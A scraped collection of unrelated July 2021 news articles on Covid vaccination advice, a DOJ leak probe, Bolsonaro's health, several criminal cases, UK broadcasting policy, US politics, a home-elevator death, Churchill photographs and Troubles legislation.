Vaccines and masks are best ways to protect ourselves on Freedom Day, says scientist behind AstraZeneca Covid vaccine Vaccines and masks are the best way to protect ourselves after 'Freedom Day' on Monday, one of the scientists behind the Oxford University Covid vaccine claimed today. Professor Dame Sarah Gilbert, one of the brains behind the AstraZeneca jab, said wearing a covering in crowded indoor settings was 'a sign of respect'. She admitted masks do little to protect the wearer, but claimed they may prevent some people from passing the virus onto others. Dame Sarah said she will follow Professor Chris Whitty's advice to continue to wear masks when they are no longer a legal requirement next week. Her comments come amid fears that mask-wearing etiquette could spark a culture war post 'Freedom Day' on Monday. Ministers and scientific advisers are still encouraging people to don a mask in crowded spaces where the risk of Covid is higher - such as on trains or busy shops. Adding to confusion, London Mayor Sadiq Khan this morning revealed that face coverings will still be compulsory on the Tube, buses and taxis in the capital. Dame Sarah told Good Morning Britain: 'None of the protective measures are completely effective on their own and we get the best protection when we link up different ways of protecting ourselves. 'So if we get everybody who is eligible for the vaccine to have the vaccine, if we wear a facemask indoors in crowded areas. Advertisement

Mr Johnson said: 'Barely eight months since the first vaccine was given, this is another extraordinary achievement.

'Now let's finish the job. If you're over 18, book both your jabs today.'

Mr Javid said: 'The vaccination programme is building a strong wall of protection around our population, saving tens of thousands of lives, preventing millions of infections and allowing us to cautiously progress through the roadmap.

'Everyone has a part to play in overcoming this virus so please come forward for your jab if you haven't already  it is the best way to protect you, your loved ones and your community.'

Professor Anthony Harnden, deputy chairman of the Joint Committee on Vaccination and Immunisation (JCVI)  which advises No10 on the roll-out  claimed today there would be no 'gain' from cutting the gap.

He said data shows a four-week interval causes a much lower immune response, meaning people who get the jabs after a shorter time-frame get less protection against the virus.

Other JCVI advisers have also called for No10 not to change tack in its fight against the third wave, echoing Professor Harnden's concerns.

Professor Harnden told Times Radio: 'We've looked at this data very carefully over the last few days and it is quite clear, from the AstraZeneca vaccine, there is absolutely no doubt the longer interval gives you much better protection.

'But we concentrated on the Pfizer vaccine because of course that's one that's being given to younger people at the moment.

'And it's quite clear from antibody T cells studies that you get much lower response, and poorer quality memory response, with the shorter interval  that's a four-week interval compared to an eight- to 12-week interval.

'And the actual real data vaccine effectiveness studies show that there is a lower vaccine efficacy against symptomatic disease with shorter intervals compared to longer intervals.'

He added: 'Then we got the modellers to look at this and, actually, the number of infections will rise if we reduce the dose.

'We just don't think there's any good short, or longer term gain by shortening the interval.'

Scientists say spacing out doses leads to a better priming of the immune system to fight off the virus.

Originally, both AstraZeneca and Pfizer's vaccines were approved to be dished out in three-week intervals because that was the gap tested in the research trials.

But No10's scientists pushed the regimen back to 12 weeks to get wider protection in winter, when the second wave started to take off.

They said the decision would allow more people to get some immunity against the disease in the shortest period of time possible.

Two weeks ago, the JCVI recommended cutting the gap to eight weeks for everyone, in a bid to protect more people.

Health chiefs already fear the UK may be close to maximum vaccine uptake, with young people having been eligible for appointments for almost a month.

The roll-out has ground to fewer than 100,000 first doses a day, with the UK's drive currently centered on ensuring millions get fully inoculated.

Young people  the last group to be inoculated  are less likely to get the jab than others because they see themselves as not at threat from the virus.

Ministers are hoping, however, that a double-jab requirement for holidays and to avoid self-isolation will bolster uptake.

Professor Harnden said uptake of jabs among younger age groups may increase if vaccines are more accessible and are backed by role models.

He added that the JCVI is 'concerned' about the uptake of first doses among younger age groups.

Asked whether the England team could be part of an advertising campaign, he said: 'I think it'd be a brilliant idea  the England team have captured the whole country's attention over the last four weeks.

'And many of them, the young role models  I think it would be wonderful if they were able to contribute in some sort of way to encouraging young, particularly young men to be vaccinated.'

The JCVI has been asked to issue urgent advice on whether the pros and cons of slashing the gap between doses, the Sunday Times claimed. An announcement is expected within days.

Experts fear leaving young people only partially protected for longer amid a second wave could drive up rates of 'long Covid'.

Public Health England evidence shows jabs cut the risk of infection by between 55 and 70 per cent after one dose, but that this rises to 65 to 90 per cent after two.
The Justice Department under former attorney general Bill Barr sought three journalists' phone and email records as part of its intensive leak hunt  seeking a court order the day before Barr resigned his post in the final weeks of the Trump administration.

The disclosure, revealed by a judge overseeing the case Tuesday, adds to revelations in weeks about the scope of government efforts to monitor journalists as part of its effort to identify sources of leaks.

The proposed order was submitted December 22, 2020  the day before Barr resigned following reported clashes with Trump over his election fraud claims.

Former Attorney General Bill Barr resigned a day after the Justice Department sought a court order for phone and email information on three Washington Post reporters

It was signed by U.S. Attorney Michael Sherwin, and sought information on three Washington Post reporters.

The DOJ was seeking information about three newspaper reports  all dealing with Russia and its election interference efforts, as well as Trump-world contacts with Russia's former ambassador to the U.S., Sergey Kislyak.

One story included a May 2017 Washington Post report about Trump son-in-law Jared Kushner's effort to set up a secure line of communications between Trump's transition and Moscow. It cited intercepts of Russian communications.

Other reports included a June 2017 story on the outgoing Obama administration's on Russian election interference, and a July 2017 on still more Kislyak contacts, this time involving former Attorney General Jeff Sessions. The Huffington Post reported on the unsealed order.

The Justice Department was hunting for leakers following disclosures about Trump-world contacts with former Russian ambassador to the U.S. Sergey Kislyak

The DOJ sought information on the reporters the day before Barr resigned

The order sought by the government asked Proofpoint Corporation, a data company, to provide information on three Washington Post reporters

A May 2017 newspaper report on Trump son-in-law Jared Kushner's conversations with Russia's former ambassador was part of the leak probe

It said the reporters disclosed 'classified national defense information.' The proposed order also notes that the classified information was made available to Congress in April 2017, and that portions were 'thereafter' published in the media.

The reporters whose phone and email records were being sought are the Post's Adam Entous, Greg Miller and Ellen Nakashima, whose bylines appear on the stories. DOJ revealed it had obtained their phone records in May. The logs reveal information about phone numbers someone may have talked to, but not the contents of those calls.

President Biden called to cease the practice of going after reporters' records, and AG Merrick Garland met with media execs after disclosures that the government sought information on reporters for the Post, the New York Times, and CNN. In each case, the reporters were not informed of the move because the orders were kept under seal to telecommunications companies and lawyers. The government only revealed the secret orders to obtain information in May.

The order extended to data security firm Proofpoint Corporation, the Washington Post noted, in an indication of the efforts the government went to as they sought the information.

Barr told the Atlantic last month that he clashed with President Trump in a December meeting over the president's election fraud claims. Barr said of the claims: 'It was all bull****."
Brazil's President Jair Bolsonaro was admitted to hospital on Wednesday with hiccups that have lasted for more than ten days.

Bolsonaro, 66, was taken to the Armed Forces Hospital in Brasilia early on Wednesday and was 'feeling unwell' but was in good spirits, a statement from the presidency's press office said.

Doctors will keep him under observation for 24 to 48 hours either at the hospital or at home to determine what has caused the persistent hiccups.

Bolsonaro has appeared to struggle with speaking on various occasions in recent weeks and suggested medication prescribed by a dental surgery on June 3 might be the cause.

Brazil's President Jair Bolsonaro (pictured, speaking during a ceremony in Brasilia on Tuesday) was admitted to hospital on Wednesday with hiccups that have lasted for days

'I apologize to everyone who is listening to me, because I've been hiccuping for five days now,' Bolsonaro said in an interview with Radio Guaiba on July 7. 'I have the hiccups 24 hours a day.'

The following day, during his weekly Facebook Live session, Bolsonaro apologised again for not being able to express himself well due to week-long hiccups.

Bolsonaro has said on various occasions that he suffers from recurring hiccups that can go uninterrupted for days.

Doctors have speculated the rare ailment could stem from repeated abdomen surgery after he was stabbed in the gut, and seriously injured, on the campaign trail in 2018.

Then-presidential candidate Jair Bolsonaro reacts after being stabbed during a campaign rally in Juiz de Fore, Brazil, in 2018

WHAT ARE HICCUPS? Hiccups occur when the diaphragm suddenly and involuntarily contracts, resulting in a hiccup sound being produced at the top of the windpipe. Hiccups are a reflex action, which means we do not have control over them. While short bouts are common and harmless, those that last longer than 48 hours are known as persistent hiccups - and sufferers should contact their doctor to see if there is an underlying condition. In rare cases hiccups last longer than a month - known as intractable hiccups. They can be caused by emotional stress, eating too fast, and drinking alcohol. In rare cases they can be caused by an underlying condition, such as acid reflux or medications such as steroids. However, sometimes a cause can't be pinpointed. Remedies for short-term hiccups include sipping iced water, biting on a lemon, drawing the knees up to compress the chest and controlled breathing. Source: patient.co.uk Advertisement

Local media reported the surgeon who operated on Bolsonaro after the stabbing, Antonio Luiz Macedo, had been called to hospital.

The Brazilian president has had several operations to repair the damage and is expected to go under the knife once more later this year after developing a hernia.

He has had several other health scares.

In July last year, Bolsonaro caught Covid-19 but recovered. In appearances over the last few months, he has had a stubborn cough, sparking concerns over his health.

On Tuesday night, in a 20-minute encounter with the president in Brasilia, supporters repeatedly asked him to look after his health.

The stabbing was widely credited for propelling Bolsonaro to an election landslide against leftwing opposition leader Fernando Haddad.

But the Brazilian president has seen his popularity tumble to new lows with only 24 per cent of Brazilians saying his administration is 'good' or 'great', following his handling of the Covid-19 pandemic.

Last month anti-government protesters took to the streets across the country as the nation's confirmed virus death toll soared past half a million - a tragedy many blame on Bolsonaro's attempt to minimise the disease.

Critics say Bolsonaro's promotion of disproven treatments such as hydroxychloroquine, have contributed to the soaring death toll and a sluggish vaccine campaign that has fully inoculated less than 12 per cent of the population.

A special Senate committee is probing the Bolsonaro administration's pandemic response, highlighting delayed efforts to acquire vaccines while prioritising unproven treatments for Covid-19.
A 76-year-old man has been accused of repeatedly groping a 15-year-old girl during a three-hour flight from Texas to Montana, where the teen was traveling to a vacation with her family.

Vincent Kopacek, 76, of Fredericksburg, Texas, made his initial appearance in federal court after being charged with attempted sexual abuse of a minor, abusive sexual contact, and assault within maritime and territorial jurisdiction.

If convicted of the most serious crime, Kopacek faces a maximum 15 years in prison, a $250,000 fine and five years of supervised release.

Vincent Kopacek, 76, has been charged with attempted sexual abuse of a minor, abusive sexual contact and assault within maritime and territorial jurisdiction for allegedly groping a 15-year-old girl aboard a flight from Texas to Montana

The alleged abuse targeting the minor, who was traveling with her family, took place on Allegiant Airlines Flight 2606 from Austin to Bozeman, Montana, on July 8 (stock photo)

According to an affidavit filed in support of a criminal complaint, on July 9, the FBI was contacted by an officer with the Bozeman Yellowstone International Airport Public Safety Office that the previous night, on July 8, a 15-year-old girl had been assaulted while on Allegiant Airlines Flight 2606 from Austin to Bozeman.

After leaving the airport, the girl reported the incident to her family, who then contacted law enforcement.

The court documents allege that the girl, identified in the document only by her initials, AG, was seated in a window seat, which was fully upright during the flight, and that Kopacek was sitting directly behind her.

The teen's sister was seated next to her, and their mother was in the aisle seat. AG's father and brother sat several rows ahead.

The affidavit alleges that Kopacek, who was sitting alone, reached his hand around between the girls seat and the interior wall of the aircraft, and touched her body with his 'dry and rough hands.'

Kopacek was arrested at Bozeman Yellowstone International Airport on July 11 when he checked in for his return flight

'Shortly after takeoff, the male grabbed and squeezed her arm,' the affidavit reads. 'He then moved his hand between her arm and her torso, brushed his fingers along her torso and grabbed her waist. At some point, the male touched her chest and groped her breast over her clothes.'

The girl later claimed Kopacek tried to touch the front of her pants near her waistline but she moved and her shirt ended up covering her waist.

Kopacek's teen accuser told federal agents he made her feel 'disrespected and gross'

During the flight, the 15-year-old adjusted her body several times to get Kopacek to stop touching her, according to the document, but each time the groping would resume after a pause.

The girl documented the alleged activity with her cell phone, taking 20 short videos, at least one of which showed a man's hand touching the victim over her shirt, as well as multiple photos of Kopacek. The abuse started prior to takeoff in Austin and continued until just before landing in Bozeman.

'AG stated she was uncomfortable with the male touching her and during the flight she tried to distract herself so she would not cry,' the affidavit stated. 'AG was scared that the male would get his hand into her pants. AG felt disrespected and gross by the male touching her and felt guilty for not speaking up.'

FBI agents arrested Kopacek in Bozeman on July 11 when he checked in for his flight departing the airport.

During his initial appearance in US District Court in Missoula, Judge Kathleen ordered Kopacek detained pending his next hearing.
The BBC should broaden its horizons beyond its central London and Salford bases, Media Minister John Whittingdale said, but he denied the Government was waging a 'culture war' against the corporation and Channel 4.

Mr Whittingdale said the BBC's own bosses were working on addressing criticism that it had been 'too metrocentric' in the past.

And he defended the potential privatisation of Channel 4, arguing that the long-term viability of the broadcaster was at stake.

Mr Whittingdale said the BBC 'has been very clear it wants a more diverse workforce'.

'(Director-general) Tim Davie has set targets in terms of the quality of representation in the workforce, across gender, across racial racial background.

John Whittingdale said the BBC's own bosses were working on addressing criticism that it had been 'too metrocentric' in the past.

'And we've also been very clear that it needs to be reflecting the UK as a whole  the nations and regions of the UK, and not just people who happen to live close to central London or Salford.'

Cabinet minister Jacob Rees-Mogg has suggested the BBC is damaging its reputation for impartiality by consistently making senior appointments from people on the political left and not the right.

Asked about his colleague's comments, Mr Whittingdale said recruitment was a matter for the BBC, but added that the Government had 'made it clear that we think it's very important that the BBC reflects all viewpoints, and that it should be diverse in terms of its employment practice and the content it produces'.

'I think there has been criticism in the past that the BBC has been too metrocentric, that it has overlooked some important opinions.

'And that is something which I know the director-general is focusing on.'

Cabinet minister Jacob Rees-Mogg has suggested the BBC is damaging its reputation for impartiality by consistently making senior appointments from people on the political left and not the right

Mr Whittingdale rejected concerns set out by MPs and peers that the privatisation of Channel 4 could damage independent production firms in the UK, with cash instead flowing to multinational corporations.

A consultation on privatising the channel is under way and the minister said: 'We are now in a world of many, many different content providers, a lot of whom are investing in UK production.

'And actually, if Channel 4 is to be sustained into the future, they're going to need the resources to continue and that's why we thought it was right to look at whether or not there should be a different ownership structure.

'But one of the purposes of Channel 4 is to support the creative industries. And the reason we're looking at this is we think that  potentially  it will be better for the creative industries if Channel 4 is given access to additional capital, which it simply can't have whilst it is under public ownership.'

Mr Whittingdale rejected suggestions that the Government's approach to the BBC and Channel 4 was a battleground in an ongoing 'culture war'.

'I think on Channel 4, actually, the reason we are looking at alternative ownership models is because we are concerned about the long-term viability of Channel 4 and we want to make sure that Channel 4 will go on succeeding and delivering into the future,' he said.

'On the BBC, we are very clear that the management and operation of the BBC is for the BBC to determine.'

The Government was looking at the future level of the licence fee and the corporation's governance structure, 'but otherwise, the Government does not interfere in the running of the BBC'.
Carville insisted the majority of the party do not stand for defunding the police

He claimed the left-wing group only make up around 15 percent of Democrats

The strategist said Dems needed to stop being defined by the fringe group

Former Bill Clinton political guru James Carvllle hit out at the 'noisy identity left' Democratic minority for being too interested in 'somebody else's pronouns' rather than focusing on improving lives.

Carville, 76, said the Democrats are paying a 'terrible political price' for the actions of the left-wing minority, which he claimed only makes up around 15 percent of the party.

The political consultant insisted that this 'noisy' fringe cannot continue to define the entire Democratic Party, and urged more mainstream Dems to be more effective in their communications with voters to neutralize the rhetoric.

'We are letting a noisy wing of our party define the rest of us, and my point is we can't do that,' he told CNN's Chris Cuomo on Tuesday.

Democrats are allowing a noisy wing of our party define the rest of us, says James Carville.



These people are kind of nice people..Theyre naive and all into language and identity, and thats all right. Theyre not storming the Capitol, but theyre not winning elections. pic.twitter.com/KkaicoHlG5  Cuomo Prime Time (@CuomoPrimeTime) July 14, 2021

James Carville told CNN's Chris Cuomo the Democrats pay a 'political price' for the actions of the 'noisy identity' left-wing minority, which he said should not define the entire party

'Their all into language and identity and that's all right, they're not storming the Capitol, but they're not winning elections.

'And I think people sort of see this for what it is and people are way more interested in their lives and how to improve them than they are in somebody else's pronouns.'

President Clinton's former adviser attributed losing traction with black and Hispanic voters in the 2020 election to the party being identified with Defund the Police and the 'language police', insisting that is not what President Biden stands for.

He said Biden, 78, doesn't even know what 'wokeness' is and argued that the Democrats pay a larger political price for their left-wing minority than the Republicans do for their 'loony insurrectionists'.

'Two thirds of their [Republican] party agree with these loony insurrectionists and this kind of stuff,' Carville said. 'Yet we pay such a terrible political price for a slightly more than fringe element of our party, where they don't pay near the price of just totally goofy, not even on this planet, part of their party.'

Carville attributed losing traction with black and Hispanic voters in the 2020 election to the party being identified with the Defund the Police movement (pictured in September)

He said President Biden (pictured), 78, doesn't know what 'wokeness' is and argued that the Democrats pay a large political price for their left-wing minority

Carville was Bill Clinton's top political advisor and gained national attention for his work as the lead strategist of the then-Arkansas governor's successful 1992 presidential campaign.

Carville also pointed to former NYPD officer Eric Adams' victory in New York City's Democratic mayoral primary - where he made curtailing gun violence a centerpiece of his campaign - as an example of how defund the police is a losing issue for other candidates.

Adams is the favorite to win November's general election, where he faces Republican Curtis Sliwa, the founder of the Guardian Angels. Democrats outnumber Republicans 7-to-1 in the city.

On Sunday, Adams criticized Democrat lawmakers in their stalled efforts to curb gun violence.

'I believe those priorities, they really were misplaced. And it's almost insulting what we have witnessed over the last few years,' Adams told CNN's State of the Union, when asked about his party's priorities.

'Many of our Presidents, they saw these numbers. They knew that the inner cities, particularly where black, brown and poor people lived, they knew they were dealing with this real crisis.

'And it took this President to state that it is time for us to stop ignoring what is happening in the south sides of Chicago, in the Brownsvilles (a neighborhood in Brooklyn), in the Atlantas of our country.'

Crime rates have been rising throughout New York City, with the NYPD reporting last week that it rose 3.1 percent over last year, with a 32.3 percent increase in grand larceny and a 16 percent increase in robberies.

Carville claimed that movements to defund the police were put to rest by the victory of former New York city police officer Eric Adams (pictured) in the Democratic mayoral primary

Earlier this year, Carville said Democrats need to stop tweeting that about abolishing the police because 'almost no one wants to f*****g wants to do that'

Earlier this year, Carville, who was made famous for his proclamation during Bill Clinton's winning 1992 presidential campaign - 'It's the economy, stupid!' - argued that 'wokeness is a problem' that could cost Democrats in future elections.

Carville said there's too much 'faculty lounge' politics among the Democratic party - for example using phrases like 'Latinx' for Latino or 'communities of color' for black people.

'You ever get the sense that people in faculty lounges in fancy colleges use a different language than ordinary people? They come up with a word like 'Latinx' that no one else uses,' he told VOX.com.

'While there's nothing wrong with phrases like that,' he said, 'this too cool for school sh*t doesn't work, and we have to stop it.'

For that to happen, Carville said Democrats need to incorporate more rural white voters, which they won't do unless they start talking like 'ordinary people' and stop tweeting about abolishing the police because 'almost no one wants to f*****g to do that'.

He suggested the Biden administration to crack down on party leaders using 'jargon' phrases.

That doesn't mean the party can't talk about race, he added.

'We should talk about racial injustice. What I'm saying is, we need to do it without using jargon-y language that's unrecognizable to most people - including most black people, by the way - because it signals that you're trying to talk around them.'
Wayne Skinner, 24, (pictured) was 'addicted to a lifestyle beyond his means' when he took the funds from several loved ones - including his mother, father and girlfriend's grandmother

A fraudster who stole 36,000 from his own family to splash on plush holidays has been jailed for five years.

Wayne Skinner, 24, was 'addicted to a lifestyle beyond his means' when he took the funds from several loved ones - including his mother, father and girlfriend's grandmother.

Skinner, from Blackburn, wanted to maintain the image of a 'wealthy young man with an extravagant lifestyle', a court heard.

He spent his ill-gotten gains on holidays to the Middle East and Africa and tickets to an Ed Sheeran concert - among other things.

Skinner spun a web of lies to try and get out of trouble, concocting stories about his brother having a heart attack and his brother being in ICU following a car accident.

Appearing in the dock at Burnley Crown Court yesterday, Skinner was jailed for five years and seven months.

He was convicted of six counts of fraud by false representation, perverting the course of justice and theft by an employee.

Judge Sara Dodd told the court his offending was unveiled when he was suspended from his job at his ex-girlfriend's father's aerospace company.

He was caught in his work vehicle while disqualified from driving.

Judge Dodd said: 'By late 2017 your dishonesty began to surface. By this time you had been stealing from the company for about two years.

'On December 21, 2017, you told your boss that you couldn't go to work as your mum had a massive heart attack.

'However, that was the date in fact that you were court being convicted of an offence of drink driving.

'You were disqualified from driving but continued to use the vehicle.

'That vehicle was ultimately seized on March 20 and your employer became aware that you had been driving it while uninsured.

Skinner (pictured), from Blackburn, wanted to maintain the image of a 'wealthy young man with an extravagant lifestyle', a court heard

'On that date, you didn't confess, you told another lie, that your brother had been in a serious road traffic accident, that he was in intensive care and he was fighting for his life.'

In June 2018, the grandmother of Skinner's then-girlfriend was informed by her bank of suspicious activity on her account - relating to a bill for a takeaway delivery service.

The following week she was contacted by her bank again to say that train tickets totalling more than 100 had been bought on her card while she was sat in the bank.

When Skinner was challenged about the transactions he admitted photocopying the victim's card and using it to pay for some food orders, train tickets to Newcastle and Ed Sheeran concert tickets.

He did this without the victim's granddaughter's knowledge.

Speaking about a statement issued by Skinner's ex-partner, Judge Dodd said: 'Her statement is quite insightful - she said that you liked to show off and live an expensive lifestyle.

'That you look respectable and appear to be a pleasant young man. But you are not the person that meets the eye.

'She described you as lying, manipulative and controlling.'

Last year, detectives were contacted by Skinner's vulnerable mother who said he had stolen 15,000 from her bank account and was refusing her access to her funds.

While police were investigating the matter, Skinner continued to steal money from his mother's account - taking 1,000 when she had given him her card to buy some food shopping.

As the investigation continued, it was discovered Skinner had stolen 20,000 from his own father.

In addition to the custodial sentence, Judge Dodd imposed an indefinite restraining order, preventing Skinner from contacting his parents.

Speaking after the sentencing, DC David Tait said: 'I would like to praise the bravery of the victims in this long and complex investigation, particularly Skinner's parents.

'To put them in a position where they were left with no option but to report their own son to the police just shows the callousness with which he operated.'

DS Steve Munro added: 'Skinner seems to be addicted to living a life way beyond his means and has constantly stolen and committed frauds against anyone who he comes into contact with.

'He has stolen from strangers, work colleagues, friends, girlfriends and even his family, all seemingly without any prejudice or remorse.'
Facebook demanded on Wednesday that President Biden's new chair of the Federal Trade Commission Lina Khan be removed from its antitrust case against it, citing her history of accusing the social media giant of behaving unlawfully.

'Chair Khan has consistently made public statements not only accusing Facebook of conduct that merits disapproval but specifically expressing her belief that the conduct meets the elements of an antitrust offense,' it said in a formal filing.

Khan was appointed to head the FTC last month at a time when the Biden administration is under growing pressure to rein in the power of big business in general and Big Tech in particular.

Last week, Biden signaled a fresh push to impose competition on internet giants, signing a sweeping executive order and symbolically handing his pen to Khan.

She has a history of taking on internet giants, including working for a congressional antitrust panel that reported last year that lawmakers should take steps against vast online platforms.

Lina Khan was confirmed as chair of the Federal Trade Commission last month. In Wednesday filing, Facebook said her history of anti-Big Tech comments meant her recusal was 'necessary in order to protect the fairness and impartiality of the proceedings' in an antitrust case against the company

Social media giants, such as Mark Zuckerberg's Facebook, face new levels of scrutiny as both left and right urge tighter regulation of platforms that dominate online activity. Zuckerberg is pictured at the billionaire's Sun Valley Conference in Idaho

Facebook filed its recusal petition on Wednesday morning, saying Khan had already 'deemed the target a lawbreaker.' It follows a similar recent move by Amazon

In one of the interviews cited in the petition, she told the New York Times that Facebook was making 'killer acquisitions,' which could fall foul of rules designed to protect competition.

'So a killer acquisition is when these firms acquire a company for the purpose of shutting it down, for the purpose of killing it because they recognize that a product could be a threat to them,' she said.

'So thats something that the report identifies that Facebook did in several cases.'

The petition quotes a string of her published articles and public comments.

'Chair Khans statements  which are unsupported and contrary to law  convey to any disinterested observer that she has already decided the material facts relevant to the Commissions pending antitrust lawsuit against Facebook, well before becoming a Commissioner,' Facebook concluded.

'Chair Khan has also already concluded that Facebook was liable under the antitrust laws. Thus, Chair Khans recusal is necessary in order to protect the fairness and impartiality of the proceedings.'

The FTC sued Facebook in December, accusing the social media platform of breaking antitrust laws in its purchase of photo app Instagram and messaging service WhatsApp.

It alleged that Facebook was guilty after monopolistic practices by buying competitors to prevent them competing with its market position. Facebook denied any wrongdoing.

When Biden last week signed an executive order designed to boost competition, including among social media giants, he handed the pen to Khan

The case was dismissed by a judge in U.S. District Court for the District of Columbia last month. However, he gave the FTC 30 days to file a fresh petition.

That puts Khan at the heart of a decision about whether to fine an amended complaint.

The FTC declined to comment on Facebook's recusal filing.

Facebook's recusal petition follows a similar move by Amazon, which said her past criticism of the company's reach meant she was not impartial.

It comes after Biden on Friday signed a sweeping executive order with 72 initiatives meant to boost competition  declaring himself a 'proud capitalist' as he undertook a special effort to impose competition on Big Tech and other market powerhouses.

'Rather than competing for consumers, they are consuming their competitors,' he said.

Last week, former President Trump also launched a legal action against social media giants Twitter, Facebook and Google, accusing them of breaching First Amendment rights of users.
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A seven-year-old boy died on family vacation after he got caught between the inner and outer doors of a home elevator and was crushed.

This fatal accident, which occurred at a beach house in North Carolina's Outer Banks area renting for about $14,000 a week, comes just days after federal regulators pushed elevator manufacturers to block the gap that allows children to fit between the doors.

Officials were called to a property on Franklyn Street in Corolla around 6:40pm Sunday after receiving reports of a child trapped in an elevator, according to an incident report provided to DailyMail.com by the Currituck County Sheriff's Office.

When crews arrived on scene they found the boy trapped between the bottom of the elevator car and the home's upper door frame.

The Washington Post says the child was stuck between the elevator's inner accordion door and the outer door. His neck had been crushed.

A 7-year-old boy died on his family's Outer Banks vacation after he got trapped between the inner and outer doors of a home elevator and was crushed

This fatal accident comes just days after federal regulators pushed elevator manufacturers to block the gap that allows children to fit between the doors

Officials attempted to resuscitate the boy but were unsuccessful, authorities confirmed to WAVY-TV. He was pronounced dead at the scene.

Corolla Fire Chief Rich Shortway says the boy's family was visiting from Canton, Ohio and had just arrived in North Carolina earlier that day to begin their vacation.

'It's just such a terrible tragedy,' Chief Shortway added.

The Cuttrick County Sheriff's Office has ruled the boy's death an accident.

'We are not sure exactly how it happened,' Sheriff Melton told the Coastland Times. 'The child was entrapped in the doors. We were able to free him but his head and neck were crushed by the elevator. He died of traumatic injuries sustained in the elevator mishap.'

Melton also notes that while his office has had several close calls with home elevator accidents in the past, this was the first incident resulting in a fatality.

Meanwhile, experts say what happened to the seven-year-old fits with an existing pattern of children getting trapped in the few-inches wide space between elevator doors.

The accident took place on the first day of the family's stay at the home, which rents for about $14,000 a week. Federal regulators say fixing the elevator hazard is as simple as placing a $100 foam insert in the gap

Federal regulators say at least 8 children, not including the 7-year-old, have died from elevator entrapments since 1981, with several others seriously injured

According to the Washington Post, the elevator industry has been aware of this danger for several decades and just three days before the child's death, regulators pushed one major elevator manufacturer to fix the problem.

In fact, experts argue that the 'simple' fix to the problem is to place a plastic or foam insert in the gap, which is estimated to cost about $100.

But, when federal regulators pushed for safety improvements in 2019 they received backlash from industry officials.

The newspaper argues that instead of fixing the issue, manufacturers said the 'problem was complicated and not their responsibility.' Around the same time, the Consumer Product Safety Commission decided that companies did not need to repair the elevators or issue a recall.

The commission did, however, publish safety alert about the 'deadly gap between doors of home elevators' and provide governors of each state with a copy of the notice.

The U.S. Consumer Product Safety Commission, who determined manufacturers were not responsible for fixing the gap, did issue a safety alert about the hazard

According to a 2020 Washington Post investigative report, at least eight children, not including the 7-year-old in Corolla, have died in elevator entrapments since 1981, with at least two other children seriously injured.

However, the true number of deaths and injuries remains unknown due to a lack of reporting.

After the 7-year-old's death, the Associated Press contacted the North Carolina Department of Labor. While the organization is responsible for inspecting elevators in public and commercial buildings, they do not have the authority to inspect those located in private homes.

'If an accident happened in or around a private residence elevator, there is no requirement to report that accident to us,' department spokeswoman Jennifer Haigwood told the news outlet.

While elevator entrapment accidents appear to be relatively rare, experts estimate that 100,000 to 200,000 homes could have elevators with a 'dangerously wide door gap' and encourage residents to take precautions, such as filling the gap, in effort to keep their children safe.
Never-before-seen photographs of Winston Churchill touring the Middle East with his wife Clementine and the writer T.E. Lawrence are expected to reach 4,000 when they go on sale at auction in London.

Churchill, then aged in his late 40s, visited on a diplomatic mission in 1921 after being appointed Secretary of State for the Colonies.

He attended the Cairo Conference in Egypt alongside T.E. Lawrence - the hero of the Arab Revolt in the First World War.

The images, which were taken by Captain Maxwell Coote who was Churchill's aide-de-camp at the conference, are being sold a century later by his descendants with London-based Forum Auctions who expect the archive to fetch 4,000.

Never-before-seen photographs of Winston Churchill touring the Middle East are expected to reach 4,000 at auction. Pictured: Churchill making a speech at a British military cemetery

In one of the images Churchill can be seen painting on an easel at a monastery with a trademark cigar in his mouth

The images were taken by Captain Maxwell Coote who was Churchill's aide-de-camp at the conference. Pictured: The Mayor of Jericho and his driver (left) and a photograph showing T.E. Lawrence, who attended the Cairo Conference with Churchill, and Gertrude Bell (right)

In the images Churchill can be seen making a speech at a British military cemetery and painting on an easel at a monastery with a trademark cigar in his mouth.

Another picture shows him adopting a distinctive leg-up stance while stood with Lord Trenchard - the 'father of the Royal Air Force'.

Capt Coote, who fought at Gallipoli, described Lawrence as 'most awfully nice to talk to' and 'so quiet and unassuming with no 'side' whatsoever'.

And, of Churchill, he said: 'It is one great thing about Winston that he never gets up early.'

Another picture shows Churchill adopting a distinctive leg-up stance while stood with Lord Trenchard - the 'father of the Royal Air Force'

Pictured: Captain Maxwell Coote, who was Churchill's aide-de-camp at the conference, riding a camel

He describes in detail watching him paint, stating: '(Churchill) took me out with him when he went off painting: we went to the most wonderful old Derwish monastery.

'I don't ever remember having seen anyone painting in oils before...

'He was quite amusing to watch and very typical in the way he slapped on paint and scraped it all off again, but he is very clever and has a great eye for colour.'

Hester Malin, specialist at Forum Auctions, said: 'The photos were taken by Capt Coote who accompanied Churchill and TE Lawrence to the Cairo Conference.

The images are being sold a century later by London-based Forum Auctions who expect the archive to fetch 4,000. Pictured: Churchill painting

Pictured: Captain Maxwell Coote at the helm coming out of the canal with Suez in the background

'They are previously unseen, which is very exciting. He had an intimate access to Churchill as it was his job to support him and keep Clementine entertained during the visit.

'There is a wonderful account he gives of Churchill painting and his diary gives a fascinating glimpse of life behind the scenes.

'The archive is being sold by Capt Coote's family to mark the centenary of the trip.'

Churchill was Secretary of State of the Colonies for less than two years before losing his Dundee seat in the November 1922 General Election.

He spent two years writing and painting before returning to Parliament in 1924 and becoming Chancellor of the Exchequer.

The sale takes place tomorrow.
Plans for a statute of limitations which would end all prosecutions of veterans in Troubles-related cases will not come in for a year - leaving them all in limbo.

Secretary of State Brandon Lewis told the Commons he plans to bring the legislation to Parliament in the autumn.

Mr Lewis said his plan for dealing with Northern Ireland's troubled past also includes a new truth recovery body and an oral history initiative.

But Conservative former defence minister Mark Francois expressed his frustration at the lack of legislation before the summer recess.

He told Mr Lewis in the Commons: 'Our veterans, many of them in the autumn of their lives, many of them in ill health, will still have to undergo the Sword of Damocles for at least another year.

'I say to our procrastinating Secretary of State, you are the boy who cried wolf once too often.'

Mr Lewis said the statute of limitations would 'apply equally to all Troubles-related incidents'.

He added: 'We know that the prospect of the end of criminal prosecutions will be difficult for some to accept and this is not a position we take lightly.

Ex-soldier Dennis Hutchings, who faces trial in connection with a fatal shooting in Northern Ireland in 1974

Dennis Hutchings (pictured in 1978), 80, is accused of attempted murder in relation to the death of John Pat Cunningham in County Tyrone in 1974

Veterans who served in Northern Ireland are finally set to be freed from the threat of prosecution. Pictured: British soldiers in Belfast in 1976

